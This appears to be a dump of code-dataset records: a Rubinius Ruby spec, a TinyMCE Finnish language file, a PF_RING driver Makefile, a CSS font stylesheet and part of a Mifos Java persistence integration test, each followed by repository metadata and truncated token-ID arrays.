describe "Module#public_instance_methods" do
it "returns a list of public methods in module and its ancestors" do
methods = ModuleSpecs::CountsMixin.public_instance_methods
methods.should include('public_3')
methods = ModuleSpecs::CountsParent.public_instance_methods
methods.should include('public_3')
methods.should include('public_2')
methods = ModuleSpecs::CountsChild.public_instance_methods
methods.should include('public_3')
methods.should include('public_2')
methods.should include('public_1')
methods = ModuleSpecs::Child2.public_instance_methods
methods.should include('foo')
end
it "when passed false as a parameter, should return only methods defined in that module" do
ModuleSpecs::CountsMixin.public_instance_methods(false).should == ['public_3']
ModuleSpecs::CountsParent.public_instance_methods(false).should == ['public_2']
ModuleSpecs::CountsChild.public_instance_methods(false).should == ['public_1']
end
it "default list should be the same as passing true as an argument" do
ModuleSpecs::CountsMixin.public_instance_methods(true).should ==
ModuleSpecs::CountsMixin.public_instance_methods
ModuleSpecs::CountsParent.public_instance_methods(true).should ==
ModuleSpecs::CountsParent.public_instance_methods
ModuleSpecs::CountsChild.public_instance_methods(true).should ==
ModuleSpecs::CountsChild.public_instance_methods
end
end
| chad/rubinius | spec/frozen/1.8/core/module/public_instance_methods_spec.rb | Ruby | bsd-3-clause | 1,560 | [
30522,
5478,
5371,
1012,
16101,
18442,
1006,
1035,
1035,
5371,
1035,
1035,
1007,
1009,
1005,
1013,
1012,
1012,
1013,
1012,
1012,
1013,
28699,
1035,
2393,
2121,
1005,
5478,
5371,
1012,
16101,
18442,
1006,
1035,
1035,
5371,
1035,
1035,
1007,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
tinymce.addI18n('fi',{
"Cut": "Leikkaa",
"Header 2": "Otsikko 2",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Selaimesi ei tue leikekirjan suoraa k\u00e4ytt\u00e4mist\u00e4. Ole hyv\u00e4 ja k\u00e4yt\u00e4 n\u00e4pp\u00e4imist\u00f6n Ctrl+X ja Ctrl+V n\u00e4pp\u00e4inyhdistelmi\u00e4.",
"Div": "Div",
"Paste": "Liit\u00e4",
"Close": "Sulje",
"Font Family": "Fontti",
"Pre": "Esimuotoiltu",
"Align right": "Tasaa oikealle",
"New document": "Uusi dokumentti",
"Blockquote": "Lainauslohko",
"Numbered list": "J\u00e4rjestetty lista",
"Increase indent": "Loitonna",
"Formats": "Muotoilut",
"Headers": "Otsikot",
"Select all": "Valitse kaikki",
"Header 3": "Otsikko 3",
"Blocks": "Lohkot",
"Undo": "Peru",
"Strikethrough": "Yliviivaus",
"Bullet list": "J\u00e4rjest\u00e4m\u00e4t\u00f6n lista",
"Header 1": "Otsikko 1",
"Superscript": "Yl\u00e4indeksi",
"Clear formatting": "Poista muotoilu",
"Font Sizes": "Fonttikoko",
"Subscript": "Alaindeksi",
"Header 6": "Otsikko 6",
"Redo": "Tee uudelleen",
"Paragraph": "Kappale",
"Ok": "Ok",
"Bold": "Lihavointi",
"Code": "Koodi",
"Italic": "Kursivointi",
"Align center": "Keskit\u00e4",
"Header 5": "Otsikko 5",
"Decrease indent": "Sisenn\u00e4",
"Header 4": "Otsikko 4",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "Liitt\u00e4minen on nyt pelk\u00e4n tekstin -tilassa. Sis\u00e4ll\u00f6t liitet\u00e4\u00e4n nyt pelkk\u00e4n\u00e4 tekstin\u00e4, kunnes otat vaihtoehdon pois k\u00e4yt\u00f6st\u00e4.",
"Underline": "Alleviivaus",
"Cancel": "Peruuta",
"Justify": "Tasaa",
"Inline": "Samalla rivill\u00e4",
"Copy": "Kopioi",
"Align left": "Tasaa vasemmalle",
"Visual aids": "Visuaaliset neuvot",
"Lower Greek": "pienet kirjaimet: \u03b1, \u03b2, \u03b3",
"Square": "Neli\u00f6",
"Default": "Oletus",
"Lower Alpha": "pienet kirjaimet: a, b, c",
"Circle": "Pallo",
"Disc": "Ympyr\u00e4",
"Upper Alpha": "isot kirjaimet: A, B, C",
"Upper Roman": "isot kirjaimet: I, II, III",
"Lower Roman": "pienet kirjaimet: i, ii, iii",
"Name": "Nimi",
"Anchor": "Ankkuri",
"You have unsaved changes are you sure you want to navigate away?": "Sinulla on tallentamattomia muutoksia, haluatko varmasti siirty\u00e4 toiselle sivulle?",
"Restore last draft": "Palauta aiempi luonnos",
"Special character": "Erikoismerkki",
"Source code": "L\u00e4hdekoodi",
"Right to left": "Oikealta vasemmalle",
"Left to right": "Vasemmalta oikealle",
"Emoticons": "Hymi\u00f6t",
"Robots": "Robotit",
"Document properties": "Dokumentin ominaisuudet",
"Title": "Otsikko",
"Keywords": "Avainsanat",
"Encoding": "Merkist\u00f6",
"Description": "Kuvaus",
"Author": "Tekij\u00e4",
"Fullscreen": "Koko ruutu",
"Horizontal line": "Vaakasuora viiva",
"Horizontal space": "Horisontaalinen tila",
"Insert\/edit image": "Lis\u00e4\u00e4\/muokkaa kuva",
"General": "Yleiset",
"Advanced": "Lis\u00e4asetukset",
"Source": "L\u00e4hde",
"Border": "Reunus",
"Constrain proportions": "S\u00e4ilyt\u00e4 mittasuhteet",
"Vertical space": "Vertikaalinen tila",
"Image description": "Kuvaus",
"Style": "Tyyli",
"Dimensions": "Mittasuhteet",
"Insert image": "Lis\u00e4\u00e4 kuva",
"Insert date\/time": "Lis\u00e4\u00e4 p\u00e4iv\u00e4m\u00e4\u00e4r\u00e4 tai aika",
"Remove link": "Poista linkki",
"Url": "Osoite",
"Text to display": "N\u00e4ytett\u00e4v\u00e4 teksti",
"Anchors": "Ankkurit",
"Insert link": "Lis\u00e4\u00e4 linkki",
"New window": "Uusi ikkuna",
"None": "Ei mit\u00e4\u00e4n",
"Target": "Kohde",
"Insert\/edit link": "Lis\u00e4\u00e4 tai muokkaa linkki",
"Insert\/edit video": "Lis\u00e4\u00e4 tai muokkaa video",
"Poster": "L\u00e4hett\u00e4j\u00e4",
"Alternative source": "Vaihtoehtoinen l\u00e4hde",
"Paste your embed code below:": "Liit\u00e4 upotuskoodisi alapuolelle:",
"Insert video": "Lis\u00e4\u00e4 video",
"Embed": "Upota",
"Nonbreaking space": "Tyhj\u00e4 merkki (nbsp)",
"Page break": "Sivunvaihto",
"Paste as text": "Liit\u00e4 tekstin\u00e4",
"Preview": "Esikatselu",
"Print": "Tulosta",
"Save": "Tallenna",
"Could not find the specified string.": "Haettua merkkijonoa ei l\u00f6ytynyt.",
"Replace": "Korvaa",
"Next": "Seur.",
"Whole words": "Koko sanat",
"Find and replace": "Etsi ja korvaa",
"Replace with": "Korvaa",
"Find": "Etsi",
"Replace all": "Korvaa kaikki",
"Match case": "Erota isot ja pienet kirjaimet",
"Prev": "Edel.",
"Spellcheck": "Oikolue",
"Finish": "Lopeta",
"Ignore all": "\u00c4l\u00e4 huomioi mit\u00e4\u00e4n",
"Ignore": "\u00c4l\u00e4 huomioi",
"Insert row before": "Lis\u00e4\u00e4 rivi ennen",
"Rows": "Rivit",
"Height": "Korkeus",
"Paste row after": "Liit\u00e4 rivi j\u00e4lkeen",
"Alignment": "Tasaus",
"Column group": "Sarakeryhm\u00e4",
"Row": "Rivi",
"Insert column before": "Lis\u00e4\u00e4 rivi ennen",
"Split cell": "Jaa solu",
"Cell padding": "Solun tyhj\u00e4 tila",
"Cell spacing": "Solun v\u00e4li",
"Row type": "Rivityyppi",
"Insert table": "Lis\u00e4\u00e4 taulukko",
"Body": "Runko",
"Caption": "Seloste",
"Footer": "Alaosa",
"Delete row": "Poista rivi",
"Paste row before": "Liit\u00e4 rivi ennen",
"Scope": "Laajuus",
"Delete table": "Poista taulukko",
"Header cell": "Otsikkosolu",
"Column": "Sarake",
"Cell": "Solu",
"Header": "Otsikko",
"Cell type": "Solun tyyppi",
"Copy row": "Kopioi rivi",
"Row properties": "Rivin ominaisuudet",
"Table properties": "Taulukon ominaisuudet",
"Row group": "Riviryhm\u00e4",
"Right": "Oikea",
"Insert column after": "Lis\u00e4\u00e4 rivi j\u00e4lkeen",
"Cols": "Sarakkeet",
"Insert row after": "Lis\u00e4\u00e4 rivi j\u00e4lkeen",
"Width": "Leveys",
"Cell properties": "Solun ominaisuudet",
"Left": "Vasen",
"Cut row": "Leikkaa rivi",
"Delete column": "Poista sarake",
"Center": "Keskell\u00e4",
"Merge cells": "Yhdist\u00e4 solut",
"Insert template": "Lis\u00e4\u00e4 pohja",
"Templates": "Pohjat",
"Background color": "Taustan v\u00e4ri",
"Text color": "Tekstin v\u00e4ri",
"Show blocks": "N\u00e4yt\u00e4 lohkot",
"Show invisible characters": "N\u00e4yt\u00e4 n\u00e4kym\u00e4tt\u00f6m\u00e4t merkit",
"Words: {0}": "Sanat: {0}",
"Insert": "Lis\u00e4\u00e4",
"File": "Tiedosto",
"Edit": "Muokkaa",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Rikastetun tekstin alue. Paina ALT-F9 valikkoon. Paina ALT-F10 ty\u00f6kaluriviin. Paina ALT-0 ohjeeseen.",
"Tools": "Ty\u00f6kalut",
"View": "N\u00e4yt\u00e4",
"Table": "Taulukko",
"Format": "Muotoilu"
}); | criquier/OpenEcoles | web/bundles/stfalcontinymce/vendor/tinymce/langs/fi.js | JavaScript | mit | 6,439 | [
30522,
4714,
12458,
2063,
1012,
5587,
2072,
15136,
2078,
1006,
1005,
10882,
1005,
1010,
1063,
1000,
3013,
1000,
1024,
1000,
26947,
15714,
2050,
1000,
1010,
1000,
20346,
1016,
1000,
1024,
1000,
27178,
5332,
22426,
1016,
1000,
1010,
1000,
211... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
#
# IMPORTANT IMPORTANT IMPORTANT IMPORTANT IMPORTANT
#
# When you change the versions below also update
# - ~/PF_RING/PF_RING/package/ubuntu/Makefile
# - ~/PF_RING/package/rpm/pfring.spec
E1000=e1000-8.0.35
E1000E=e1000e-2.5.4
IGB=igb-5.0.6
IXGBE=ixgbe-3.18.7
all: igb ixgbe e1000e e1000
e1000:
# cd $(E1000)-DNA/src; make
e1000e:
cd $(E1000E)-DNA/src; make
igb:
cd $(IGB)-DNA/src; make
ixgbe:
cd $(IXGBE)-DNA/src; make
clean:
# cd $(E1000)-DNA/src; make clean
cd $(E1000E)-DNA/src; make clean
cd $(IGB)-DNA/src; make clean
cd $(IXGBE)-DNA/src; make clean
| nal-epfl/line-sigcomm14 | PF_RING-5.6.2/drivers/DNA/Makefile | Makefile | gpl-2.0 | 573 | [
30522,
1001,
1001,
2590,
2590,
2590,
2590,
2590,
1001,
1001,
2043,
2017,
2689,
1996,
4617,
2917,
2036,
10651,
1001,
1011,
1066,
1013,
1052,
2546,
1035,
3614,
1013,
1052,
2546,
1035,
3614,
1013,
7427,
1013,
1057,
8569,
3372,
2226,
1013,
21... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
.Playfair-Headline
{
font-family: playfair-display-n4, serif;
}
.Raleway-Subhead,.Raleway-Fine-Print,.Info-Head,.Info-Subhead,.Raleway-Fine-Print-Non-Ital
{
font-family: raleway-n4, sans-serif;
}
.Terms-Bold
{
font-family: raleway-n7, sans-serif;
}
.Form-font
{
font-family: raleway-n3, sans-serif;
}
#u29629-4
{
font-family: playfair-display-n4, serif;
}
#u29609-4
{
font-family: playfair-display-n4, serif;
}
#u64163-4
{
font-family: playfair-display-n4, serif;
}
#u69258-4
{
font-family: playfair-display-n4, serif;
}
#u29618-4
{
font-family: playfair-display-n4, serif;
}
#u67559-4
{
font-family: playfair-display-n4, serif;
}
#u29621-4
{
font-family: playfair-display-n4, serif;
}
#u30045.PamphletThumbSelected #u30066-4 p,#u30030-4,#u30066-4
{
font-family: raleway-n4, sans-serif;
}
#u30281-5
{
font-family: playfair-display-i4, serif;
}
#u30281
{
font-family: playfair-display-n4, serif;
}
#u30248-5
{
font-family: raleway-n3, sans-serif;
}
#u31121-4,#u31121-7,#u31121-8,#u31119-4
{
font-family: raleway-n4, sans-serif;
}
#u31161-4,#u31161-9,#u31161-10,#u31160-4
{
font-family: raleway-n4, sans-serif;
}
#u31146-4,#u31146-7,#u31146-8,#u31145-4
{
font-family: raleway-n4, sans-serif;
}
#u30540-4,#u30540-9,#u30539-4
{
font-family: raleway-n4, sans-serif;
}
#u30798-4,#u30798-9,#u30801-4
{
font-family: raleway-n4, sans-serif;
}
#u32272-4,#u32272-9,#u32275-4
{
font-family: raleway-n4, sans-serif;
}
#u30487-4,#u30487-9,#u30490-4
{
font-family: raleway-n4, sans-serif;
}
#u32730-4,#u32730-9,#u32729-4
{
font-family: raleway-n4, sans-serif;
}
#u32685-4,#u32685-9,#u32685-10,#u32684-4
{
font-family: raleway-n4, sans-serif;
}
#u32701-4,#u32701-9,#u32701-10,#u32700-4
{
font-family: raleway-n4, sans-serif;
}
#u32101-4,#u32101-9,#u32101-10,#u32104-4
{
font-family: raleway-n4, sans-serif;
}
#u32070-4,#u32070-9,#u32070-10,#u32072-4
{
font-family: raleway-n4, sans-serif;
}
#u31105-4,#u31105-9,#u31105-10,#u31104-4
{
font-family: raleway-n4, sans-serif;
}
#u31078-4,#u31078-9,#u31077-4
{
font-family: raleway-n4, sans-serif;
}
#u31055-4,#u31055-9,#u31055-10,#u31054-4
{
font-family: raleway-n4, sans-serif;
}
#u30782-4,#u30782-9,#u30782-10,#u30781-4
{
font-family: raleway-n4, sans-serif;
}
#u30769-4,#u30769-9,#u30769-10,#u30772-4
{
font-family: raleway-n4, sans-serif;
}
#u30443-4,#u30443-9,#u30443-10,#u30446-4
{
font-family: raleway-n4, sans-serif;
}
#u32379-4,#u32379-7,#u32379-8,#u32378-4
{
font-family: raleway-n4, sans-serif;
}
#u31042-4,#u31042-9,#u31041-4
{
font-family: raleway-n4, sans-serif;
}
#u31025-4,#u31025-9,#u31025-10,#u31027-4
{
font-family: raleway-n4, sans-serif;
}
#u30698-4,#u30698-9,#u30697-4
{
font-family: raleway-n4, sans-serif;
}
#u30666-4,#u30666-9,#u30666-10,#u30668-4
{
font-family: raleway-n4, sans-serif;
}
#u30680-4,#u30680-9,#u30680-10,#u30683-4
{
font-family: raleway-n4, sans-serif;
}
#u31342-4,#u31342-7,#u31342-8,#u31340-4
{
font-family: raleway-n4, sans-serif;
}
#u31358-4,#u31358-9,#u31358-10,#u31357-4
{
font-family: raleway-n4, sans-serif;
}
#u31317-4,#u31317-7,#u31317-8,#u31316-4
{
font-family: raleway-n4, sans-serif;
}
#u31613-4,#u31613-9,#u31613-10,#u31615-4
{
font-family: raleway-n4, sans-serif;
}
#u31602-4,#u31602-9,#u31602-10,#u31601-4
{
font-family: raleway-n4, sans-serif;
}
#u32792-3,#u32792-9,#u32792-11,#u32792-12,#u32792-16,#u31503-4,#u31503-9,#u31503-10,#u31502-4
{
font-family: raleway-n4, sans-serif;
}
#u31519-4,#u31519-9,#u31519-10,#u31522-4
{
font-family: raleway-n4, sans-serif;
}
#u32660-4,#u32660-10,#u32659-4
{
font-family: raleway-n4, sans-serif;
}
#u32566-4,#u32566-7,#u32568-4
{
font-family: raleway-n4, sans-serif;
}
#u31897-4,#u31897-7,#u31896-4
{
font-family: raleway-n4, sans-serif;
}
#u31732-4,#u31732-9,#u31731-4
{
font-family: raleway-n4, sans-serif;
}
#u31746-4,#u31746-9,#u31749-4
{
font-family: raleway-n4, sans-serif;
}
#u31683-4,#u31683-9,#u31683-10,#u31685-4
{
font-family: raleway-n4, sans-serif;
}
#u31673-4,#u31673-9,#u31673-10,#u31672-4
{
font-family: raleway-n4, sans-serif;
}
#u32199-4,#u32199-9,#u32198-4
{
font-family: raleway-n4, sans-serif;
}
#u32225-4,#u32225-9,#u32228-4
{
font-family: raleway-n4, sans-serif;
}
#u32211-4,#u32211-9,#u32209-4
{
font-family: raleway-n4, sans-serif;
}
#u32248-4,#u32248-10,#u32250-4
{
font-family: raleway-n4, sans-serif;
}
#u31373-4,#u31373-10,#u31375-4
{
font-family: raleway-n4, sans-serif;
}
#u31395-4,#u31395-9,#u31397-4
{
font-family: raleway-n4, sans-serif;
}
#u32524-4,#u32524-10,#u32523-4
{
font-family: raleway-n4, sans-serif;
}
#u30364-4,#u30363-4
{
font-family: raleway-n4, sans-serif;
}
#u30385-4,#u30385-9,#u30385-10,#u30384-4
{
font-family: raleway-n4, sans-serif;
}
#u30600-4,#u30600-7,#u30598-4
{
font-family: raleway-n4, sans-serif;
}
#u30988-4,#u30988-9,#u30990-4
{
font-family: raleway-n4, sans-serif;
}
#u32747-4,#u32775-4,#u32792-2,#u32792-4,#u32792-5,#u32792-7,#u32792-14,#u39952-4
{
font-family: playfair-display-n4, serif;
}
#u39955-4
{
font-family: playfair-display-n4, serif;
}
#u38684-4
{
font-family: raleway-n4, sans-serif;
}
#widgetu38675.frm-sub-st #u38676-4 p,#u38676-4
{
font-family: raleway-n3, sans-serif;
}
#widgetu38675.frm-subm-err-st #u38686-4 p,#u38686-4
{
font-family: raleway-n3, sans-serif;
}
#widgetu38675.frm-subm-ok-st #u38687-4 p,#u38687-4
{
font-family: raleway-n3, sans-serif;
}
#u38679-4
{
font-family: raleway-n4, sans-serif;
}
#widgetu38682_input,#widgetu38682_prompt,#widgetu38677_input,#widgetu38677_prompt
{
font-family: raleway, sans-serif;
}
#u38688-6
{
font-family: playfair-display-n4, serif;
}
#u32764-4,#u31131-2,#u30523-2,#u30811-2,#u32285-2,#u32027-2,#u30475-2,#u32707-2,#u32087-2,#u31086-2,#u30751-2,#u30458-2,#u32365-2,#u31017-2,#u30710-2,#u31331-2,#u31588-2,#u31526-2,#u32664-2,#u32556-2,#u31887-2,#u31713-2,#u31704-2,#u32240-2,#u31387-2,#u32539-2,#u31797-2,#u30368-2,#u32184-2,#u30585-2,#u30968-2,#u31416-2,#u38688-2
{
font-family: playfair-display-i4, serif;
}
| iiED-csumb/hackmb-mrmrs | build/intermediates/assets/debug/www/css/iefonts_carly-ryan.css | CSS | mit | 6,009 | [
30522,
1012,
2377,
7011,
4313,
1011,
17653,
1063,
15489,
1011,
2155,
1024,
2377,
7011,
4313,
1011,
4653,
1011,
1050,
2549,
1010,
14262,
10128,
1025,
1065,
1012,
10958,
2571,
4576,
1011,
4942,
4974,
1010,
1012,
10958,
2571,
4576,
1011,
2986,... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/*
* All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*
* See also http://www.apache.org/licenses/LICENSE-2.0.html for an
* explanation of the license and how it is applied.
*/
package org.mifos.customers.persistence;
import static org.mifos.application.meeting.util.helpers.MeetingType.CUSTOMER_MEETING;
import static org.mifos.application.meeting.util.helpers.RecurrenceType.WEEKLY;
import static org.mifos.framework.util.helpers.TestObjectFactory.EVERY_WEEK;
import java.sql.Date;
import java.util.ArrayList;
import java.util.Calendar;
import java.util.GregorianCalendar;
import java.util.List;
import junit.framework.Assert;
import org.mifos.accounts.business.AccountActionDateEntity;
import org.mifos.accounts.business.AccountBO;
import org.mifos.accounts.business.AccountFeesEntity;
import org.mifos.accounts.business.AccountStateEntity;
import org.mifos.accounts.business.AccountTestUtils;
import org.mifos.accounts.exceptions.AccountException;
import org.mifos.accounts.fees.business.AmountFeeBO;
import org.mifos.accounts.fees.business.FeeBO;
import org.mifos.accounts.fees.util.helpers.FeeCategory;
import org.mifos.accounts.loan.business.LoanBO;
import org.mifos.accounts.productdefinition.business.LoanOfferingBO;
import org.mifos.accounts.productdefinition.business.SavingsOfferingBO;
import org.mifos.accounts.productdefinition.util.helpers.RecommendedAmountUnit;
import org.mifos.accounts.savings.business.SavingsBO;
import org.mifos.accounts.util.helpers.AccountState;
import org.mifos.accounts.util.helpers.AccountStateFlag;
import org.mifos.accounts.util.helpers.AccountTypes;
import org.mifos.application.master.business.MifosCurrency;
import org.mifos.application.meeting.business.MeetingBO;
import org.mifos.application.meeting.exceptions.MeetingException;
import org.mifos.application.meeting.persistence.MeetingPersistence;
import org.mifos.application.meeting.util.helpers.RecurrenceType;
import org.mifos.application.servicefacade.CollectionSheetCustomerDto;
import org.mifos.application.util.helpers.YesNoFlag;
import org.mifos.config.AccountingRulesConstants;
import org.mifos.config.ConfigurationManager;
import org.mifos.core.CurrencyMismatchException;
import org.mifos.customers.business.CustomerAccountBO;
import org.mifos.customers.business.CustomerBO;
import org.mifos.customers.business.CustomerBOTestUtils;
import org.mifos.customers.business.CustomerNoteEntity;
import org.mifos.customers.business.CustomerPerformanceHistoryView;
import org.mifos.customers.business.CustomerSearch;
import org.mifos.customers.business.CustomerStatusEntity;
import org.mifos.customers.business.CustomerView;
import org.mifos.customers.center.business.CenterBO;
import org.mifos.customers.checklist.business.CheckListBO;
import org.mifos.customers.checklist.business.CustomerCheckListBO;
import org.mifos.customers.checklist.util.helpers.CheckListConstants;
import org.mifos.customers.client.business.AttendanceType;
import org.mifos.customers.client.business.ClientBO;
import org.mifos.customers.client.util.helpers.ClientConstants;
import org.mifos.customers.group.BasicGroupInfo;
import org.mifos.customers.group.business.GroupBO;
import org.mifos.customers.personnel.business.PersonnelBO;
import org.mifos.customers.personnel.util.helpers.PersonnelConstants;
import org.mifos.customers.util.helpers.ChildrenStateType;
import org.mifos.customers.util.helpers.CustomerLevel;
import org.mifos.customers.util.helpers.CustomerStatus;
import org.mifos.customers.util.helpers.CustomerStatusFlag;
import org.mifos.framework.MifosIntegrationTestCase;
import org.mifos.framework.TestUtils;
import org.mifos.framework.exceptions.ApplicationException;
import org.mifos.framework.exceptions.PersistenceException;
import org.mifos.framework.exceptions.SystemException;
import org.mifos.framework.hibernate.helper.QueryResult;
import org.mifos.framework.hibernate.helper.StaticHibernateUtil;
import org.mifos.framework.util.helpers.Money;
import org.mifos.framework.util.helpers.TestObjectFactory;
import org.mifos.security.util.UserContext;
public class CustomerPersistenceIntegrationTest extends MifosIntegrationTestCase {
public CustomerPersistenceIntegrationTest() throws Exception {
super();
}
private MeetingBO meeting;
private CustomerBO center;
private ClientBO client;
private CustomerBO group2;
private CustomerBO group;
private AccountBO account;
private LoanBO groupAccount;
private LoanBO clientAccount;
private SavingsBO centerSavingsAccount;
private SavingsBO groupSavingsAccount;
private SavingsBO clientSavingsAccount;
private SavingsOfferingBO savingsOffering;
private final CustomerPersistence customerPersistence = new CustomerPersistence();
@Override
protected void setUp() throws Exception {
super.setUp();
}
@Override
public void tearDown() throws Exception {
try {
TestObjectFactory.cleanUp(centerSavingsAccount);
TestObjectFactory.cleanUp(groupSavingsAccount);
TestObjectFactory.cleanUp(clientSavingsAccount);
TestObjectFactory.cleanUp(groupAccount);
TestObjectFactory.cleanUp(clientAccount);
TestObjectFactory.cleanUp(account);
TestObjectFactory.cleanUp(client);
TestObjectFactory.cleanUp(group2);
TestObjectFactory.cleanUp(group);
TestObjectFactory.cleanUp(center);
StaticHibernateUtil.closeSession();
} catch (Exception e) {
// Throwing from tearDown will tend to mask the real failure.
e.printStackTrace();
}
super.tearDown();
}
public void testGetTotalAmountForAllClientsOfGroupForSingleCurrency() throws Exception {
MeetingBO meeting = TestObjectFactory.createMeeting(TestObjectFactory.getTypicalMeeting());
center = createCenter("new_center");
group = TestObjectFactory.createWeeklyFeeGroupUnderCenter("Group", CustomerStatus.GROUP_ACTIVE, center);
client = TestObjectFactory.createClient("client1", CustomerStatus.CLIENT_ACTIVE, group);
AccountBO clientAccount1 = getLoanAccount(client, meeting, "fdbdhgsgh", "54hg", TestUtils.RUPEE);
AccountBO clientAccount2 = getLoanAccount(client, meeting, "fasdfdsfasdf", "1qwe", TestUtils.RUPEE);
Money amount = customerPersistence.getTotalAmountForAllClientsOfGroup(group.getOffice().getOfficeId(),
AccountState.LOAN_ACTIVE_IN_GOOD_STANDING, group.getSearchId() + ".%");
Assert.assertEquals(new Money(TestUtils.RUPEE, "600"), amount);
TestObjectFactory.cleanUp(clientAccount1);
TestObjectFactory.cleanUp(clientAccount2);
}
/*
* When trying to sum amounts across loans with different currencies, we should get an exception
*/
public void testGetTotalAmountForAllClientsOfGroupForMultipleCurrencies() throws Exception {
ConfigurationManager configMgr = ConfigurationManager.getInstance();
configMgr.setProperty(AccountingRulesConstants.ADDITIONAL_CURRENCY_CODES, TestUtils.EURO.getCurrencyCode());
AccountBO clientAccount1;
AccountBO clientAccount2;
try {
MeetingBO meeting = TestObjectFactory.createMeeting(TestObjectFactory.getTypicalMeeting());
center = createCenter("new_center");
group = TestObjectFactory.createWeeklyFeeGroupUnderCenter("Group", CustomerStatus.GROUP_ACTIVE, center);
client = TestObjectFactory.createClient("client1", CustomerStatus.CLIENT_ACTIVE, group);
clientAccount1 = getLoanAccount(client, meeting, "fdbdhgsgh", "54hg", TestUtils.RUPEE);
clientAccount2 = getLoanAccount(client, meeting, "fasdfdsfasdf", "1qwe", TestUtils.EURO);
try {
customerPersistence.getTotalAmountForAllClientsOfGroup(group.getOffice().getOfficeId(),
AccountState.LOAN_ACTIVE_IN_GOOD_STANDING, group.getSearchId() + ".%");
fail("didn't get the expected CurrencyMismatchException");
} catch (CurrencyMismatchException e) {
// if we got here then we got the exception we were expecting
assertNotNull(e);
} catch (Exception e) {
fail("didn't get the expected CurrencyMismatchException");
}
} finally {
configMgr.clearProperty(AccountingRulesConstants.ADDITIONAL_CURRENCY_CODES);
}
TestObjectFactory.cleanUp(clientAccount1);
TestObjectFactory.cleanUp(clientAccount2);
}
/*
